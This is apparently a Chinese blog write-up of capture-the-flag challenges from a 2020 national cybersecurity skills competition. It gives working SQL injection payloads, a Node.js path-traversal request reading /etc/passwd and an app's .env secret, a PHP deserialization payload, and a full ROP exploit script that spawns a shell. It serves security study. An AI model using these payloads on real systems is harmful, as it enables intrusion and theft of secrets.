2020年全国网络安全管理职业技能竞赛

WEB

easy_sql

首先先开代理利用burpsuite抓包分析,在username=admin'先加个单引号,发现如下报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin') LIMIT 0,1' at line 1

image

猜测sql语句大概是这种样子:select * from table where username=('admin') and password=('passwd') limit 0,1;

根据这个语句构造payload为uname=admin') and 1=1%23uname=admin') and 1=2%23不难看出该出sql语句可被利用

接下来先利用sqlmap进行扫描,发现了flag表,猜测flag就在这张表里
image

但是sqlmap跑不出flag表的字段名称,于是开始了手动测试

因为该sql注入类型为没有回显,但是有报错,所以选择的报错注入,构造payload uname=admin') and extractvalue(1,concat(char(126),(select column_name from information_schema.columns where table_name='flag' and table_schema='security' limit 0,1)))%23&passwd=admin查询flag的第一个字段名,但是被拦截了

image

想了许久,最终直接构造为uname=admin') and extractvalue(1,concat(char(126),(select * from flag)))%23&passwd=admin,直接查询flag表的内容,然后mysql就会通过报错的形式把这条语句查询到的信息返回到浏览器上

image

最后通过right函数,将flag内容从右到左切割

image

最终拼接出flag为flag{c7651cb673c911ee8f9977094a220f17}

ezsqli

进入题目环境后,点击查看HINT,然后可以看到源代码,注释如下

 <?php
//a "part" of the source code here

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}
// 判断是否存在POST请求中是否存在username和password
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 判断session中是否存在VerifyCode
    if (!isset($_SESSION['VerifyCode']))
            die("?");	// 不存在则停止并输出?
	
    $username = strval($_POST['username']); // 进行字符串类型转换
    $password = strval($_POST['password']); // 进行字符串类型转换

    if ( !sqlWaf($password) )
        // 对传进来的password变量进行拦截恶意字符串
        alertMes('damn hacker' ,"./index.php");
	
    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
//    password format: /[A-Za-z0-9]/
    $result = $conn->query($sql);  // 执行上面的sql语句
    if ($result->num_rows > 0) {
        // 当查询的条目行数大于0时,获取第一行作为数组赋值给变量$row
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            // 判断查询出来的的username必须为admin,并且该行的password不能为空
            if ($row['password'] == $password) 
            {	// 查询出的password值需要与POST传进来的password相等才能输出flag
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
        } else {
            $message = "wrong user";
        }
    } else {
        $message = "user not exist or wrong password";
    }
}

?> 

分析完代码后,总结出关键的几个必要条件:

  • 从数据库查询的username必须为admin => 传进去的username必须为admin
  • 从数据库查询出password满足条件(bool)(password) == True即必须存在且有大于0的值 => 因为数据库中admin值对应的password字段值未知,且根据源代码分析未找到相应绕过验证的方法,只能从sql语句入手。

使用本地环境调试,当我构造sql语句为select * from table_name where username='adminsada' union select 'admin','password';时,结果如下:

image

因为我前面的sql语句没有查询到内容,所以就会显示后面所查询的内容,而我后面的联合查询语句为union select 'admin','password';这条语句的意思是直接输出admin和password,从而就能控制数据库中输出的内容。但联合查询是有条件的,就是union select column_name1, column_name2....中,column_name的数必须和前面查询语句的字段数一致,所以这边需要先知道题目中的前一条sql语句查询的字段数为多少。

构造payloadusername=hhhh'+union+select+1,2,3--+&password=password&captcha=SDMG进行查询,查询结果为下图

image

可想而知,到达了wrong user这一步,不难猜测出我的sql语句执行成功,且为三个字段,目前猜测分别为id,username,password,且该语句查询完成后,username为1,password为2(因为前面没有查询到有用户为hhhh的,所以取到了后面的一条查询记录)

继续构造payload为username=hhh'+union+select+1,'admin','password'--+&password=password&captcha=SDMG

image

成功把flag查询出来flag{de3110dce011088cd4add1950a49182f}

(ps. 验证码是真的烦)

SecretGuess

下载题目所给的附件,目录结构如下

image

看到了构建镜像环境的文件Dockerfile,具体内容如下

FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js

瞄一眼,暂时还没头绪,继续从题目中找线索

查看网页源代码,发现出题人的提示

image

然后又在源码中看到了隐藏源代码的链接(为什么说隐藏,因为这个div被背景色盖住了,设置z-index: 999就可以看到并且点击了)

image

(此步可忽略不计)

image

然后访问源代码链接可以看到如下代码

const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")

const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')

app.get('/', (req, res) => {
    res.render("index")
})

app.post('/', (req, res) => {
    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
        res.render("index", {result: process.execSync("echo $FLAG")})
    } else {
        res.render("index", {result: "wrong secret"})
    }
})

app.get('/source', (req, res) => {
    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})

app.listen(80, "0.0.0.0");

这里先看主要输出flag的核心代码

// 加载配置文件中的环境变量
const env = require('dotenv').config();

// 获取一个post请求包数据
app.post('/', (req, res) => {
    // 1. post对象中存在auth属性(即post请求参数中带auth)
    // 2. auth属性值必须为字符串类型
    // 3. 并且auth属性值必须与nodejs环境变量中的secret的md5值相等
    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
        // 同时满足三个条件就可以输出flag
        res.render("index", {result: process.execSync("echo $FLAG")})
    } else {
        res.render("index", {result: "wrong secret"})
    }
})

简单的分析代码已完成,现在就开始梳理接替思路:

目前我们所知道的信息就是部分源代码中的文件,且出题人也说了不是爆破,那肯定是要获取到node的配置文件。

刚开始我以为配置文件中关键的变量secret藏在.开头的文件,还特意一个一个去搜,搜不到,后面仔细回忆才想起来一个重要的镜像环境搭建文件Dockerfile,里面包含了node版本和项目的部署地址。

于是我就尝试去搜索node 8.5版本漏洞,结果还真有存在一个目录变量漏洞

image

而且正好这个题目的node版本为8.5.0,尝试复现漏洞,构造app.js文件构造相应的payload/static/../../../a/../../../../etc/passwd(需要把请求改为GET)进行漏洞验证

image

验证成功,然后根据之前的Dockerfile获取项目的绝对路径,构造payload/static/../../../a/../../../../usr/local/app/.env进行读取node配置文件中的secret变量

image

最后再将获取到的secret进行md5加密,最后提交获取到flag

image

warmup

下载题目源码,主要有有三个文件的源代码,首先先分析index.php(html代码已忽略)

// index.php
<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    // 当cookie存在last_login_info字段时,将先进行base64解密,然后反序列化
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            // 判断反序列化后的数组是否为数组并且数组中key=>ip的值是否与访问者的IP相同
            die('WAF info: your ip status has been changed, you are dangrous.'); //不同则输出并停止运行
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    // 当不存在键为ip的数组时,创建以访问者IP为值的ip键,并将其先序列化后进行base64加密
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    // 将该反序列化字符串设置为last_login_info为键的值
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
    // 判断POST数据中是否存在username和password
	$table = 'users';
    // 将username和password进行转义
	$username = addslashes($_POST['username']);
	$password = addslashes($_POST['password']);
	// 实例化一个SQL类
	$sql = new SQL();
    // 调用SQL类中的connect()方法
	$sql->connect();
    // 给当前实例化的SQL类中table、username、password属性分别进行赋值
	$sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    // 调用当前SQL类的check_login()方法进行校验
    $sql->check_login();
}
?>

然后再看ip.php文件

// ip.php
<?php
    // 输出当前访问者的IP
	echo $_SERVER['REMOTE_ADDR'];
?>

最后是输出flag的核心文件conn.php

// conn.php
<?php
include 'flag.php';

 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        // mysql数据库连接
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        // 调用当前类中的query()方法
        $result = $this->query();
        if ($result === false) {
            // 判断返回结果是否正确
            die("database error, please check your input");
        }
        // 取查询到第一行结果以数组形式赋值给变量$row
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            // 当查询出来的username为admin时,输出flag
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        // 对table、username和password进行恶意字符串过滤
        $this->waf();
        // 执行sql语句并返回执行结果
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
    	$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
    	foreach ($blacklist as $value) {
            // 循环变量黑名单中的每一个元素,并进行字符串查找
    		if(strripos($this->table, $value)){
    			die('bad hacker,go out!');
    		}
    	}
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        // 执行反序列化实例化类前,会自动调用此方法
        if (!isset ($this->conn)) {
            // 判断当前类中是否进行数据库连接
            // 若没有则进行数据库连接
            $this->connect ();
        }
        if($this->table){
            // 当前类存在table变量值时,执行waf()方法
            $this->waf();
        }
        // 调用check_login()方法
        $this->check_login();
        // 关闭数据库连接
        $this->conn->close();
    }

}
?>

获取到的信息整理如下:

  • 此处条件只要当反序列化后的对象不为数组即可绕过该行代码,比较顺水推舟(因为我们构造的反序列化结果是一个实例化类,这里自然而然的就绕过了)
  if (isset ($_COOKIE['last_login_info'])) {
      $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
      try {
          if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
              // 当进入此处时,就会停止运行程序,所以不能进来
              die('WAF info: your ip status has been changed, you are dangrous.'); 
          }
      } catch(Exception $e) {
          die('Error');
      }
  }
  • 过滤黑名单中并没有过滤单引号

  • 虽然在index.php中有对usernamepassword进行字符转义,但是可以看到,转义前有一个反序列化操作,所以可以直接通过反序列化进行实例化一个类去执行类中的代码,从而进行绕过下面的字符转义操作。

  • 令sql查询结果有值,并且username = admin即可,并没有对password的查询结果进行校验,所以构造类似的payload即可username=admin&password=1' or '1'='1,这样就能在查出username为admin的一条记录,从而获取flag

分析完成之后,开始上手操作,先利用burpsuite抓个包看看

image

last_login_info先进行base64解密,得到如下序列化字符串a:1:{s:2:"ip";s:13:"39.170.14.162";}(大可不必管,我就是想看看)

直接构造序列化payload:O:3:"SQL":4:{s:5:"table";s:5:"users";s:8:"username";s:5:"admin";s:8:"password";s:10:"1'or'1'='1";s:4:"conn";N;}

即实例化SQL类并对该类下面的table、username、和password变量进行赋值,至于其中的conn可无需赋值,一时里面结构过于复杂,二是当进行反序列化操作前,会自动调用__wakeup()方法,该类下面 的方法会对conn进行赋值的。

public function __wakeup(){
    if (!isset ($this->conn)) {
        $this->connect ();
    }
    if($this->table){
        $this->waf();
    }
    $this->check_login();
    $this->conn->close();
}

最后查询出flag为flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}

image

PWN

0x01. easy_rop

先checksec分析下程序的保护机制,可以看到开启了NX保护,即栈不可执行,故需要跳转到对应的libc去执行。
image
而且该文件有800多k,且没有给出libc.so文件,说明是静态编译,通过IDA查看
image
显然找不到程序入口函数,故直接使用gdb进行动态调试,运行后有一个什么也没有输出的输入,直接Ctrl + c 终端输入来到调试界面,并在0x43f2f0处打上断点。
image
通过cyclic指令计算出溢出长度为40
image
image
image
再gadget下看看有没有合适的指令构造rop链
image
其中C语言中的execve("/bin/sh", NULL, NULL)对应的汇编指令如下:

mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

由于该程序是64bit,故构造ROP链需要涉及rax、rbx、rcx、rdx寄存器,从上述gadget中找出以下合适的指令:

0x0000000000478446 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000488a95 : int 0x80

由于该指令没有涉及rcx寄存器,故需要通过其他指令给其赋值,但找了许久,只有以下指令勉强合适,以及该指令涉及到的其他指令:

0x000000000043b270 : mov rcx, qword ptr [rsi] ; mov byte ptr [rdi + 8], dh ; mov qword ptr [rdi], rcx ; ret
0x00000000004015f6 : pop rdi ; ret
0x0000000000401717 : pop rsi ; ret

只要控制好各个寄存器的值就能通过系统中断调用执行execve函数,目前还差/bin/sh字符(二进制文件也没有),于是需要自己往bss写入对应字符,最后再调用命令执行函数即可,涉及到的指令和内存地址如下:

zero_addr = 0x4b4680  # \0符号
bss_addr = 0x6cbb60  # bss段的起始地址

# syscall系统调用地址,用于实现类似于read函数,是通过ida自己找了个比较合适的地址
# gadget没有返回理想的syscall_ret指令
syscall_ret = 0x43f2ee 

# Linux 64bit 函数调用约定,
# 前6个参数是从左至右依次存放入rdi,rsi,rdx,rcx,r8,r9寄存器,剩下的参数通过栈传递,
# 从右至左顺序入栈
pop_rdx_rsi_ret = 0x442779

现在的思路是通过栈溢出调用syscall,使其往bss段写入/bin/sh字符,再分别往rax、rbx、rcx、rdx寄存器写入对应值,最后int 80即可,编写EXP如下;

from pwn import *
import time


context(os='linux', arch='amd64')	# 运行环境设置
p = process('./5f55ce3d7d306')	# 运行该可执行文件

elf = ELF('./5f55ce3d7d306')


zero_addr = 0x4B4680
bss_addr = 0x6cbb60
pop_rdi_ret = 0x4015f6
pop_rsi_ret = 0x401717
pop_rdx_rsi_ret = 0x442779
pop_rax_rdx_rbx_ret = 0x478446
mov_rcx_rsi_ret = 0x43b270  # mov rcx, qword ptr [rsi] ; mov byte ptr [rdi + 8], dh ; mov qword ptr [rdi], rcx ; ret

syscall_ret = 0x43F2EE
int_80 = 0x488a95

# sys_read(rdi, rsi, rdx) (0, bss_address, 100
# write strings "/bin/sh" will in reg's rsi
payload = b'a' * 40 + p64(pop_rdx_rsi_ret) + p64(0x10) + p64(bss_addr) + p64(pop_rdi_ret) + p64(0) + p64(syscall_ret) + p64(pop_rax_rdx_rbx_ret) + p64(0xb) + p64(0) + p64(bss_addr) + p64(pop_rdi_ret) + p64(bss_addr + 0x10) + p64(pop_rsi_ret) + p64(zero_addr) + p64(mov_rcx_rsi_ret) + p64(int_80)
p.sendline(payload)
time.sleep(1)
p.sendline(b'/bin/sh\x00')
p.interactive()

运行exp即可拿到服务器shell
image

posted @ 2023-03-26 22:09  mlins  阅读(25)  评论(0编辑  收藏  举报